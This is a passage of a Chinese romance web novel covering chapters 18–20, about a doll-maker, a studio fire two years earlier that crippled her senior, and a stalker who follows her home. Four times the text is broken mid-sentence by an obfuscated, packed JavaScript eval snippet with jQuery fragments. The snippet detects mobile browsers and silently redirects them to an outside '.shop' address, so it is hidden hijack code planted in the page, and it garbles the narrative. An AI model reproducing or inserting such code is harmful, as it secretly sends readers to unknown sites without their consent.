他沉默了片刻，半晌，才道：“没有如果。我不会眼睁睁看着你在我面前受伤的。” 得到这个回答花清漓并不意外。 她低着头，小声地道了句：“对不起……” 林言蹊笑了笑，宽慰道：“D社那场火本就是个意外，那不是你的错。这件事已经发生了，你不用因为我而耿耿于怀。那位消防员的昏迷我也很愧疚。但我还是希望你能过得轻松一点。七夕嘛，开心一点！” 花清漓不知道该说些什么，只好扯出一个没有温度的笑向林言蹊道别：“那我去隔壁商场逛一逛，你有没有什么想要的东西？” “去给沈确买手表？”林言蹊脸上带着笑，心中却忍不住地对沈确生出一股嫉妒。 花清漓丝毫没察觉到林言蹊悄悄转换的情绪，只吐槽道：“对啊，让他帮个小忙，结果又被他坑了一笔。啧。我走了。” 她说完，转身朝隔壁的商场里走去。 花清漓在商场逛了一圈，终于找到了宝格丽的专柜。 她上前在展示着103717号腕表的柜台前停下，招来售货员：“你好，麻烦帮我把这块103717号腕表包起来。” “好的女士，您真有眼光。”穿着制服的售货员热情地从柜台下取出一个盒子，将它轻轻放在柜台上：“给您取的是未开封的。柜台里这块是用作展示和试戴的。” “谢谢。”花清漓打开盒子看了一眼，的确是全新的一块腕表。 “麻烦帮我包起来。”她对售货员道，顺便从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977958|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包里取出一张银行卡放在柜台的玻璃桌面上。 售货员刷完卡，将卡递给花清漓时问：“请问这块表是打算送给男朋友吗？需不需要帮您换一个礼品盒？” 花清漓整理着包里的应用卡，没注意售货员在说什么，只听到最后的那句问她要不要礼品盒。她正愁没空给这东西包装呢，现下有这样方便的事她当然同意：“好啊。” 大约过了五分钟，售货员将一个精品袋递到花清漓手边，顺便出声提醒：“女士您好，手表已经帮您包装好了。” 花清漓随手接过袋子转身一边朝外走，一边给沈确打电话约见面。 电话很快被接通，对面传来沈确抱怨的声音：“怎么了？” “出来吃饭吧。”花清漓直接了当地通知道。 谁料沈确一口拒绝：“一顿饭就想打发我？不是，花清漓你什么意思？我就那么便宜？一顿饭就打发了？” 花清漓懒得和他斗嘴，报了个餐厅名字后就挂了电话。 两人在餐厅见面时，已经是晚上七点。街道上的光线也变得浓稠暧昧起来，沈确坐在窗边的轮廓也有些模糊。 “等很久了？”花清漓款步上前，将手里的袋子放在沈确面前的桌面上。 沈确在看到袋子上品牌名字，惊喜地看向花清漓：“送给我的？” “不想要？那我拿回去退了！”花清漓作势就要抢回来。 “诶，谁说我不要了？”听到花清漓要拿回去退，沈确连忙夺过袋子将里面包装精美的盒子取出来时，发现盒子底下压着一张贺卡。 他一脸淡定地将贺卡抽出来，发现上面用英文写着“For dear.”。他当然知道这不是花清漓的笔迹，但心中莫名觉得很开心。 花清漓见沈确半天不说话，问：“怎么了？我送你那么贵重的礼物你不应该表现得开心一点吗？不是你说想要我才给你买的吗？” “我很喜欢。”沈确二话不说将这块103717替换了自己手腕上那块渐变蓝劳力士。 花清漓知道沈确最喜欢收藏手表。看到沈确这么开心，生怕沈确反悔似的开口提醒道：“我们说好的，我送你手表的话你就帮我做数据。” “好～都依你！”沈确本来就准备答应帮忙，只是不想让自己显得那么便宜，这才提了个要求。看得出花清漓这次是真的需要他帮忙，他收了好处自然会all in。 花清漓翻开手机看了一眼时间，正好看见lvy发来的信息，这才惊觉自己忘了今天早上说要带lvy去艺境画室的事。 她忙给lvy拨去电话：“不好意思了lvy，我今天把要带你去艺境画室的事给忘了。明天我再带你过去怎么样？” 电话那头的lvy应了一声，表示理解，只提醒道：“今天有个电话打到工作室，是Evelyn你认识的人。” 花清漓只以为是以前的客户，道：“谈项目吗？帮我约个时间。” “不是的，是你的学姐傅容兮。” 听到整整两年没有出现在自己生活中的名字，花清漓神色复杂。 18.18 见花清漓愣在原地，沈确夺过她的手机替她回话：“知道了。等Evelyn回去上班的时候正好能和她见面。挂了。” 沈确挂断通话，将手机塞回有些失神的花清漓手里时，她却在被触碰到双手的一瞬间攥紧了拳头，警惕地回过神来盯着沈确。 “怎么了？”沈确看出花清漓的警惕，安慰似地拍了拍她的肩膀问道，“你那么担心这个学姐回来啊？看来你这位学姐实力不容小觑啊，你以前在她手底下吃过不少苦头吧？” 花清漓张了张嘴，一副欲言又止的样子。 沈确看出花清漓不太想聊这个话题，只好拿起菜单问：“奶油培根意面吃不吃？” “我不爱吃这个。换一个。”花清漓拒绝道。 沈确抬眸扫了她一眼，摇了摇头无奈道：“挑食。烤肉芝士卷饼怎么样？” “那好吧，就吃这个。”花清漓也想不出自己想吃什么，但比起奶油培根意面，她更愿意接受烤肉芝士卷饼的味道。 沈确点好餐先行结了账，继续刚才的话题追问道：“你那个学姐叫什么名字？” 花清漓合上菜单，神色复杂地吐出一个名字：“傅容兮。” “你真那么担心她回来？她对你很严厉吗？”沈确看着神色复杂的花清漓问。 花清漓眼睛转了转，含糊地解释道：“我不是担心这个，我只是……”想起了两年前的火灾。 她现在没心情和沈确说这件事。干脆起身道别：“下次再聚吧，我今天没心情。我不喜欢七夕节。” 花清漓说完，抓起自己的包头也不回地出了餐厅。全然不顾沈确在身后的叫唤。 被晾在原地的沈确不解道：“七夕招你惹你了？” 他呢喃之际，刚才点的餐也被递了上来。沈确趁机对侍应生道：“麻烦给我两个打包餐盒，请快一点！” “好的先生，请稍等。”侍应生很快为沈确取来两个打包餐盒，并帮他将盘子里的食物打包装进袋子递给他。 “谢谢。”沈确接过侍应生手中的袋子就朝餐厅外追出去。 餐厅外灯红酒绿的大街上人影憧憧，过往车辆的喇叭声此起彼伏。沈确极力在人群中寻找花清漓的身影。 终于，他在街角的一家便利店看见正在买欢乐颂起泡酒的花清漓。他几个跨步上前对收银员道：“请拿两个杯子，谢谢。我和她一起的。” 花清漓瞥了他一眼，对着收银员点点头。 得到花清漓的认同，收银员这才转身从柜台下取出两个一次性塑料杯递到她手里，同时还不忘提醒道：“晚上不要喝太多哦。感觉醉了的话可以来我这里要一杯醒酒茶！” “谢谢你！”花清漓礼貌地对着收银员笑了笑，和沈确一并朝着窗边的小桌前走去。 “怎么想到来喝酒？”沈确刚一落座，手里就被塞了一个塑料杯。 花清漓利落地拧开酒瓶盖，给自己和沈确各倒了一杯酒。她先是举起杯子喝了一口，才道：“因为我想起了……你之前问我的一件事。” “什么？”沈确问过花清漓太多问题，一时不知道她此刻说的是哪个问题。 花清漓将杯中的酒水一饮而尽，才将故事娓娓道来：“是关于两年前，D社那场意外火灾。” —————— 那一天天气异常炎热。花清漓刚被调到Donald手底下担任人型师不到一个月，可由于初出茅庐，人际关系什么都不懂。甚至因为是菅云舒亲自和大家打招呼要求大家帮忙照顾她的，因此所有人都把她当成“老板硬塞进来的关系户”。觉得像她这样的女孩无非就是空降进来早晚会进管理层的。那时整个D社几乎没人愿意真正接纳她，唯有从小一起长大的，在D社担任二次元玩偶设计师的师兄愿意费心照顾她。 当时D社临时所在的商务楼刚刚建设完工。整个楼层除了D社，还有一家还未开张的工作室。 这一天正好是七夕。 这样炎热的白日虽漫长，却在不断翻涌的热浪中消逝。短暂干燥的月夜连带着燥热的晚风，将花清漓的心也搅得心烦意乱。 花清漓坐在工位上，整理着Donald要求她整理的D社创立以来的所有订单数据，并在其中挑选出销量最高的限定人偶进行复刻贩售，以便补上本季度没有新品所没能完成的销售额。 在这之前，D社上架的所有限定几乎都出自花清漓的制偶师父慕云重之手。每一个都是造型大胆的特体人偶，就算有设计图，如果没有足够的经验，想要将这些人偶一比一复刻几乎是不可能的事。这些人偶的材质也分为石塑粘土和环保树脂两种材质类型。一旦复刻就要做两批，这样一来工作量又大大地增加了。 说实话，她对复刻师父做的人偶这件事并没有什么信心。她并不喜欢对着别人的作品照抄。以花清漓的创作习惯，她总是会在设计人偶素体或造型上将自己突如其来的创意融入到正在制作的人偶当中。对着别人的作品照抄，根本就是在限制她的创作灵感。 “梨梨？”办公室门口突如其来的声音将花清漓吓得从椅子上蹿了起来。反应过来门口的人是自己师兄林言蹊，花清漓这才暂时放下手中的电容笔看过去。 林言蹊走上前来，扫了一眼花清漓手中平板上的数据道：“还没做完？要不要我帮你？” 花清漓犹豫片刻，看了一眼手边的电脑道：“不用了。我只是不喜欢对着别人的创意照抄，就算是要复刻这几款人偶的其中之一，不是我亲自设计的做出来总归是会有令人不满意的地方。所谓画皮难画骨。我其实不太能明白师父设计的这几款人偶的理念是什么，虽然很好看，但对我来说这些人偶的体型实在是循规蹈矩得有些无聊。” “是吗？”林言蹊笑了笑，问她：“那么请问Evelyn，你有什么更好的创意呢？最好做出来的销量能堵住Donald的嘴，只要你能赚钱，Donald对你的所有意见都会一笔勾销！” “真的？”花清漓再也受不了在工作室被当成透明人对待的日子了，现下听见有机会转换自己在D社的状态，顿时燃起了斗志。 林言蹊耸耸肩肯定道：“当然了！D社就靠实力说话，你有多大本事，能给工作室增加多少订单，就能让多少人听你的话。” 意思就是，只要花清漓设计的人偶销量够高，她就能在工作室里脱颖而出。Donald作为商人，自然就不会对她有太大意见。觉得她是关系户又怎样，只要她实力够硬，还怕堵不住这群人的嘴吗？ “我明白了！”花清漓兴奋地从自己工位的抽屉里翻出一个巴掌大的螺钿工艺首饰盒捧到林言蹊目前展示道：“有没有想过在粘土人偶的素体上做螺钿工艺处理？” 林言蹊惊讶地挑了挑了挑眉道：“比如呢？在躯干上镶嵌螺钿吗？这可不好做啊。” “不是啊！”花清漓兴奋地开始和林言蹊描述自己的创意灵感：“你知不知道欧洲一些教堂的玻璃通常会在上面做彩绘而因此出名？我想做的，是模仿教堂窗户的形状，在人偶的腹部开一个洞，然后用螺钿制作的迷你彩窗镶嵌在上面！我会把这个小窗户做成可以开合的那种！” “比起直接将螺钿镶嵌在人偶的素体上，你这个想法更加有趣。”林言蹊对花清漓的创 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038657|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意表示认可。 “我先画局部素体的设计图，你帮我拍下来备份一下！”花清漓说着，重新拿起一旁的电容笔，将人偶的躯干部分和螺钿彩窗设计先画了出来并进行了简单的上色。 在备份完设计稿后，花清漓闻到了一股隐隐约约的烟味。她没有多想，只以为是林言蹊偷偷躲在一旁抽烟——反正这是常有的事。为了尝试素体躯干部分的制作，花清漓起身独自去储物室准备拿新的石塑粘土。 储藏室的两盏灯分别是一冷一暖两种颜色，冷色灯光比暖色灯光亮一些。花清漓按下开关的时候，头顶上的灯突然“啪”地一声炸开，花清漓被吓了一跳。 伴随着灯丝处蹦出的火星，仓库里的绘满设计稿的纸张一瞬间被点燃。 花清漓见状忙跑出去对林言蹊道：“快拿灭火器……”话音未落，周遭的电线竟一并蹦出火花，数秒之间便引燃了满是画稿纸张的工作室。 林言蹊冲上前来一把拉起花清漓的手就要往外跑。花清漓则趁机拿上了存有设计稿的平板才和手机。 工作室走廊的灯因刚才的火焰线路全被烧毁。花清漓与林言蹊二人只能凭着墙角下隐隐反光的安全通道标识朝安全通道冲进去。 幸运的是，安全通道的防火门将火焰阻隔在里面，不幸的是烟雾从缝隙从窜了出来。 两人到下一楼层的洗手间内将外套冲湿用来捂住口鼻。花清漓趁机报了警，刚准备继续向楼下跑，在路过一道安全门时却发现这一层的楼道里堆了不少杂物。 两人废了九牛二虎之力才勉强移出一条路。 “你先下去。”林言蹊抬头看着不断从防火门底下冒出的黑烟，对花清漓道。 “好，我先下去，消防部门前不久才对防火门进行过检查，我们应该能安全出去。你小心点。”花清漓说完，飞快地朝楼下冲去。林言蹊紧随其后。 在两人来到三楼时，终于听见了消防车的警笛声。 花清漓推开楼道的窗口，果然看见三辆消防车停在了楼下开始灭火。 就在二人继续向下逃生时，在楼梯的转角处伴随着一声剧烈的爆炸，强大的冲击波将防火门也炸开了。因被爆炸所波及，楼上堆放在楼道的杂物箱也落了下来，眼看就要砸在花清漓的身上，林言蹊奋力冲了上去推开了她。也正因如此，花清漓因惯性狠狠地撞在了旁边堆放快递的铁架上。腰部剧烈的疼痛嚷花清漓顿时脸色煞白。 最终那些装满货物的杂物箱狠狠地砸在了林言蹊的右腿关节上，剧烈的疼痛让他倒吸了一口凉气。他能感觉到自己的骨头已经碎了。 “林言蹊——”花清漓顾不上腰上的疼痛，忙上前将箱子推开后，将林言蹊的手臂搭在自己肩上，用自己作为支点支撑他站起来。 幸好的是，一位消防员已从楼下冲了上来，看见倒在地上脸色惨白的林言蹊，上前将他背了起来，同时还不忘对花清漓道：“跟在我身后，我带你们出去。” 花清漓点点头，扶着腰紧跟在这位消防员的身后下楼。一路上她看见这一层房顶的消防洒水系统全被保鲜膜缠住了。 身后的火势越来越大，眼看就要再度扑上来，消防员也注意到消防系统的问题。于是对花清漓道：“下面的楼层没有起火点，是安全的。你们先下去，我去把消防系统上的保鲜膜解开。” 花清漓听话地扶起林言蹊，朝楼下走去。不料二人从安全通道平安撤离商务楼的下一秒，刚才的楼道里发出了一声剧烈的爆炸声。 这声爆炸让花清漓顿时产生了严重的耳鸣，伴随着腰部剧烈的疼痛，顷刻间，她眼前一黑昏了过去。 19.19 沈确诧异地看着花清漓：“你为什么不告诉我？当时听到D社失火的那天我们工作室还没搬过去，怪不得我们工作室都没听说过。所以你之前说你腰上有伤，原来因为这场意外……” 花清漓听沈确提起自己的腰伤，下意识地抬手扶着腰继续道：“那场火灾之后，我虽然靠着保下来的设计稿成为了D社的创意总监，但我的腰也因此落下伤。虽然从此我的业绩永远是全公司第一，可是这些荣耀，是用师兄的人生换来的。他本来可以成为比我更好的人型师，但他的手再也拿不了刻刀和画笔了、他甚至再也无法正常行走。当年的我们，是同门、是战友，甚至只差一步就可以成为情侣。只可惜因为这场火，我们最终分道扬镳。” 只差一步就可以成为情侣？沈确听到这句话心中对林言蹊的妒忌更甚。 “得到所有赞许的是我，失去一切的却是他。而那位救我们出来的消防员，也因为二次的爆炸一直昏迷至今。”花清漓注视着窗外三三两两的行人回忆道。 听完花清漓的回忆，沈确的心中不自觉地泛起一阵酸涩。他夺过花清漓手中的酒瓶给自己倒了满满一杯然后一饮而尽。 花清漓被他突如其来的举动吓得连忙去抢他手中的酒瓶：“沈确你干什么？就算你酒量比我好也经不住这么喝吧？” 沈确轻轻拍开花清漓的手，语气不自觉地带了些醋意：“喝欢乐颂也会醉的就只有你了，我的酒量跟我哥一样早就在商场上练出来了。不劳你费心。” 一句话让花清漓到嘴边的话又咽了回去。 她收回手，晃了晃有些发昏的脑袋，极力地让自己保持清醒道：“其实这件事除了当年D社的人知道之外，我学姐也知道。她这次突然被请回来，也不知是敌是友。如果是对手，保不准会拿这件事来压我。” 沈确听完这话，抬手揉了揉花清漓的脑袋安慰道：“不要老是往坏处想嘛！说不定是你师父把她请回来帮你的！” “但愿如此吧。”花清漓没精打采地趴在桌子上，侧着脸看着沈确时有些昏昏欲睡。心里却很清楚，学姐当年是因自己升职才退位的，这次回来又怎么可能让自己好过。 “困了？”沈确看见她的样子问，“很晚了，我送你回去吧。晚餐给你打包好了，带回去记得吃。” 就在二人谈话之际，邻桌的一个黑衣男人偷偷举起手机对准了沈确和花清漓，拍下了两人相处的照片。 花清漓抬起头揉了揉有些发昏的脑袋，嘴硬拒绝道：“不用了，我又没醉。我自己回去吧，免得麻烦你。” “那我送你到你家楼下。”沈确提议道。 “都说不用啦——”花清漓再次推辞道，朝着沈确摆摆手，转身独自离开。 见花清漓如此坚持，沈确本想作罢，可转头就看见她落在桌上的打包盒。沈确拎起打包盒，一边吐槽着花清漓丢三落四，一边追出去叫住了她。 十字路口的红绿灯旁，花清漓停下脚步对沈确道：“很晚了，你也早点回去吧。真的不用送我了，反正我住的地方离这里也不远。” “行吧。”沈确将手里的打包盒递到她手里，拿起花清漓的手机，随手输入密码解锁，在之前为她下载的一个实时定位软件里，把安全警报的紧急通知人设置成了自己。 “为什么突然给我搞这个？”花清漓晃了晃脑袋迷迷糊糊地问他。 沈确把手机塞回花清漓的手里嘴硬地解释道：“你今天喝了酒，你酒量那么差还那么固执不要我送你回去，那我只好用这个软件来关注你的安全了。你要是出了什么事，不止咱俩爸妈，就连我哥也得打断我的腿。你可别自作多情啊！到家以后记得用这个软件给我发个信息。” “啧。多谢少爷挂念！”花清漓翻了个白眼，握着手机朝自己住的方向摇摇晃晃地离开。 花清漓的住处就在附近的一处旧小区。前两年拉黑所有家人联系方式从家中偷跑出来后，为了不被父母找到，她特意挑了这个老旧的小区，租下了一间小房子。 从小到大，花清漓和沈确的父母总是很忙，经常为了工作东奔西顾的。两人有时甚至一个月也见不了父母几次面。花清漓从小见的最多的，除了父母请来给两人补课的各种家教以外，就剩下两位师父和沈确的哥哥沈行。 父母们虽然常年不在身边，对她的要求却从来不少。不仅要求花清漓的学习要名列前茅，作为雕刻家的父亲还要她学习画画和雕刻。甚至对于她交什么朋友也要控制。 一开始花清漓并不喜欢父亲强制她学的东西，直到她被带去师父家看到了满屋精致的人偶，和普通女孩一样，她一下就喜欢上了这些漂亮的娃娃。 原本受其父母所托教她雕刻的师父菅云舒知道这件事后，便经常带着她去了自己的人型师好友慕云重的家里玩。 更是在认识慕云重的第二年，花清漓生日当天收到了慕云重耗时半年制作的，以她本人为原型的2分尺寸的人偶作为生日礼物。花清漓也从这一天起正式拜入慕云重门下开始学习制作人偶。 这些年来，比起父母，花清漓总归是与两位师父更亲近。甚至就连学校的家长会，每当两家的父母没空，那就会由两位师父或者沈行这个大哥哥来代劳。 这条静僻的老街上的行人寥寥。街面用石砖错落砌成，由于年久失修，有不少石砖已有些松动。 花清漓迷迷糊糊地朝着家的方向走去，丝毫没有注意到身后不远处有一个带着鸭舌帽的黑衣男人正跟在后面，时不时地举起手中的小相机拍下花清漓和她经过的位置。 终于花清漓抵达了自家门口，就在她进门后，那位尾随她而来的黑衣男人也偷偷地蹿到了她的门前记下了她的门牌号码。 正是此刻，跟在此人身后的沈确飞快地冲上前来，朝着此人的侧腰就是一记狠狠的冲膝顶。毫无防备的黑衣人被沈确突如其来的冲膝顶顶飞出了出去，摔在几米远外的地上。 不等沈确冲上去将人按住，那黑衣人扶着腰一个翻身爬了起来，顺着楼梯扶手直接跳了下去。很快就消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038658|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失在黑暗之中。 眼看自己一个人跟过去太危险，沈确没有再追，而是回到花清漓的门口敲响了她的门，一边喘着粗气喊着她的小名：“梨梨，你没事吧？” “沈确？我没事，我刚关上门你就来了。”很快，花清漓从里面开了门。长大以后沈确很少会喊她小名，她没想到沈确今晚会突然跟过来。 只见沈确两手支着门框，喘着粗气盯着自己。 不等花清漓问他怎么突然跟过来，下一秒就听见沈确道：“先报警，我一会儿亲自跟警察说。” 听到要报警，花清漓很快就意识到事情的严重性。沈确会突然气喘吁吁地出现在自己家门口让自己报警，那么一定是碰到什么人是冲着自己来的。 花清漓转身进屋报了警。不到十分钟，警察就抵达了花清漓的家。 两人被带到警局完笔录时已经是凌晨一点。 “独居女性容易成为犯罪分子的目标。在我们抓到这个人之前，你最好和你男朋友一起住。别怕，等我们查到他一定会第一时间逮捕他的。”一个女警递给花清漓一杯温水安慰道。 坐在椅子上的花清漓接过女警的水杯，小声道了句：“谢谢。” 女警没有马上离开，而是对坐在花清漓身旁的沈确道：“请问你有看到那个人的长相吗？能和我们描述得详细一点最好。” 沈确回想了着刚才的情景，简单描述了刚才那人的体型特征和大致的外貌：“差不多就是这样。今晚我们俩喝了点酒，可能记得不是特别清楚。还得麻烦你们根据周边的监控来查。” “我们会的，谢谢配合。”女警收好笔录，叫来一名值班的男警察来送两人回去。 最终，两人坐着警车回到了花清漓家楼下。 下车后，沈确牵着花清漓的手朝着家里过去。 “明天搬到我那里去住吧，晚上下班后我都去接你。今晚我会在这里陪你，明天请个假，我帮你搬家。”沈确一进门，检查了一下门把手提议道。 从警局出来后，花清漓终于安心了不少。听到沈确的提议，有些犹豫道：“那我得先收拾一下东西……” “你去收拾吧，我去跟Felix打个电话请假。”沈确说完，走到客厅的沙发旁坐下开始打电话。 花清漓回到自己的房间，三两下收拾好了行李。 她的东西不多，大部分都放在工作室里。自己住的出租屋里除了一些生活用品之外，还有她用各种瑕疵人偶改造的摆件。 她把一些必要的生活用品和证件统统整理好塞进行李箱，推着行李箱来到客厅。 沈确已经打完了电话，此刻正靠在沙发上闭着眼休息。 花清漓见状，走进房间拿来一张毯子替沈确盖上。 察觉到花清漓的举动，沈确没有睁眼，只是继续休息。她在沈确身旁的沙发上坐下。经过刚才那一阵惊吓，她的精神始终处于紧绷状态。 “梨梨，”沈确突然开口，“这件事要和伯父伯母说吗？” 20.20 “不用了，”花清漓拒绝道，“反正他们从来都没把我放在心上。明天我和师父说一声，请个假再出去找个房子租……” “还找什么房子。”沈确忍不住开口打断她，“这栋房子就是我买的，三室一厅。除了有一间用作画室，还有一间空着。也就我哥偶尔过来看我的时候会住一晚。我又没有女朋友，你不用担心。你就住在我这儿，晚上下班我可以去接你。” 花清漓思索片刻，问：“那……我付房租？” “这是我家，咱俩那么熟要你付什么房租。”沈确好笑道。 “可我总不能在你家白吃白喝吧？”花清漓窝在沙发上小声道。 沈确早就猜到她的想法，干脆提议道：“你不是会做饭吗！正好，我做饭不好吃。你要是觉得为难就每天晚上给我做夜宵吧？” “行吧。”花清漓从沙发上起身，问沈确：“明天早上再搬还是今晚就搬？” “现在就搬吧，反正你也没有多少东西。”沈确说着，起身来到花清漓面前接过她的行李箱，却发现意外地很轻。 “你只带这一点东西吗？”沈确有些不解地看着花清漓。不是说女孩子的东西都很多吗？化妆品、护肤品、衣服首饰…… 花清漓淡淡扫了一眼沈确手中的行李箱，道：“哦，这里只是回来睡觉的地方而已。我的家在人型社。” 这句话让沈确无言以对。只好替花清漓拿着行李箱先行下楼等她。 花清漓最后检查了一遍，确定没有遗漏后才锁好门匆匆下楼。 两人住的地方离得不远，由于拖着行李，花清漓干脆叫了一辆出租车。 一路上，花清漓没有说话，只是低头摆弄着手机。 “现在就跟你师父说吗？”沈确抬眸看到花清漓不停地在手机上输入，忍不住问她。 花清漓头也不抬地回答道：“嗯。顺便请个假，再看一眼我的工资到账没有，明天要花钱的地方多着呢。” 沈确有些不解：“你住我家花什么钱？我又不收你房租。” 花清漓翻了个白眼，放下手机道：“少爷，我既然有了像样的住处，总不能和以前一样亏待自己吧？我最近天天熬夜，我的熬夜精华都用完了，我得再买一瓶。我这张脸虽然不至于倾国倾城吧，但我还是挺爱惜的。” 爱美之心人皆有之。这个沈确还是明白的。 花清漓靠在车窗边，此刻窗外的繁华喧嚣都与她无关。 抵达沈确家已是凌晨两点。 花清漓拖着行李跟在沈确身后上了楼，说起来，这是她第一次进沈确家。 沈确的家还算宽敞，三室一厅。室内的色调是黑金配色，客厅里皆是智能家居产品。 “次卧在这边，我一直有打扫。房间里有浴室，洗衣机在阳台。”沈确领着花清漓来到次卧，向她介绍道。 花清漓刚在床上坐下，一阵困意袭来让她听不清沈确到底在说些什么。只好开口打断他：“我好累，有什么话你明天再跟我说吧。我要去洗澡了。” 沈确知道花清漓累了一天，晚上又受了惊吓。距离天亮只有不到四个小时，他索性退了出去，回到自己的房间。 坐在床上的花清漓只休息了半分钟，就拖着疲惫的身体进浴室洗漱。 她向来是有一点强迫症和洁癖的，每天要是不洗澡、不把衣服洗干净再晾好，她根本就没法安心睡觉。 做完这一切以后，花清漓终于松了口气，倒在床上沉沉睡去。 这一觉花清漓睡得格外满足。她已经忘了自己有多久没有好好休息了，以至于第二天醒来的时候，已经是中午十二点半。 花清漓是被沈确炒菜所发出的声响吵醒的。她迷迷糊糊从床上爬起来，套了身黑色过膝吊带睡裙。洗漱完出了房门，正好看到系着围裙的沈确将一碗土豆泥摆上桌，旁边还有两份滑蛋吐司。 “快来吃饭。”沈确放下碗，解开围裙花清漓招呼道。 花清漓来到餐桌旁坐下，奇怪地看着沈确问：“你今天不上班吗？怎么还在这儿。” “请假了。”沈确说着，随手递给花清漓一柄可爱的蜡笔小新勺子。 花清漓缓缓接过沈确递来的勺子，忍不住抬手摸了摸勺柄顶端的迷你小新。 “不要只顾着玩小新，快点吃饭，一会儿带你去买点东西。”沈确绕到她身旁坐下，将一杯温水递到她手边。 花清漓接过水杯抿了一口道：“外面最近好热呀，可不可以不去啊？在房间里吹空调不好吗？你自己去不可以吗？” 沈确嗤笑一声，威胁道：“当然可以，前提是，接下来一整个星期都由你来洗家里的碗。” 听到要洗一整个星期的碗，花清漓连忙反悔道：“嗐，不就是出去买点东西嘛。走走走！我付钱！” 两人换了衣服出门后乘地铁去了最近的超市。 抵达超市门口时，沈确到一旁拉来一辆购物手推车，顺便朝着背着包的花清漓问：“你的包要不要先放在推车上？背着不重吗？” 今天花清漓出门的时候背的是Masion Margiela的大号折纸包，是她上个月新买的。她扫了沈确一眼，不满道：“放在推车上压变形了就不好看了，难道压坏了你会给我买新的吗？” 沈确知道花清漓一向喜欢这个品牌的产品，以前也不是没有给她买过，但大部分都是作为生日礼物送给花清漓的。 “已经给你买了。”沈确拿出手机翻出一条订购记录递给花清漓，是Hermes kelly 32。 花清漓惊喜地看向沈确：“你怎么知道我最近也想买这个！” 沈确得意地从花清漓手中拿回手机，笑道：“我们俩的社交账号不是一直关联吗，虽然你开了小号，但你从小到大对想要的东西态度都很明显，猜出来也不难。” “我有吗？”花清漓怀疑地看着沈确，他什么时候发现自己开了小号的？ 沈确被花清漓盯得有些不自在，连带着耳尖竟也在不知不觉中泛了红。最终他只好别过脸装作若无其事的模样问她：“看看有什么需要买的？” 花清漓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080113|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意到沈确泛红的耳尖，也学着他的样子，别过脸思索道：“嗯……我看看吧！” 两人挑了些必要的生活用品后，一起推着手推车到了蔬果区。花清漓看见今日有秋月梨，兴奋地拉着沈确上前道：“我要这个！我们买一点吧！” 沈确推着手推车上前，随手挑了一只秋月梨握在手里笑道：“就知道你会挑梨子买。” 花清漓没有搭理他，而是自顾自地挑了四个巴掌大的的秋月梨拿去打称。沈确一路跟在她身后闲逛，眼看着推车里的东西越来越多，忍不住笑道：“我没开车过来，你买太多一会儿光靠我们俩可不容易拿回去。” “那……今天就先买这些吧。”花清漓看了一眼手推车里的东西，大部分是生活用品。 结账时，沈确随手替她付了钱。顺便问她：“下午还想去哪吗？” “好热啊，我不想再出去了。我就想待在家里吹空调。”花清漓抱着那一袋秋月梨跟在沈确身后抱怨道。 沈确拎着装满东西的购物袋和她并肩着走，提议道：“回去给你煮冰糖雪梨汤？” 听到这话的花清漓眼睛一下就亮了，她兴奋地看向沈确提醒道：“不要太甜，我不爱吃太甜的！” “我知道～”沈确笑着回应，无奈地摇了摇头。 正值初夏，天气愈发闷热，似乎再过不久就要降下一场暴雨。 两人走在安静的林荫道上，花清漓手机一声来电铃声打断了这片刻的宁静。 来电的人是lvy。 花清漓接通电话，跟在沈确身后一边问对面：“我今天不是说了在搬家吗？我请过假的，还能有我什么事？” 电话那头的lvy忍不住开口问：“Evelyn，你上次说带我去一趟艺境画室，你是不是忙忘了？” 经lvy这么一提醒，花清漓才想起来确实有这么个事。她抬手轻轻拍了拍脑袋：“我这两天在搬家，给忙忘了。正好我今天有空，我现在就跟我大姨说一声；地址我给过你，你自己过去还是我陪你过去？” 沈确站在一旁听着两人的通话，忍不住蹙眉。花清漓知道他对lvy有意见，索性改口道：“你自己能过去吧？我这边临时有安排了……” 对面的lvy沉默了几秒，小心翼翼地问她：“Evelyn你……你现在是和MD家的Keder待在一起吗？” 花清漓听到沈确的名字，抬眸扫了他一眼才冲着电话里应声。 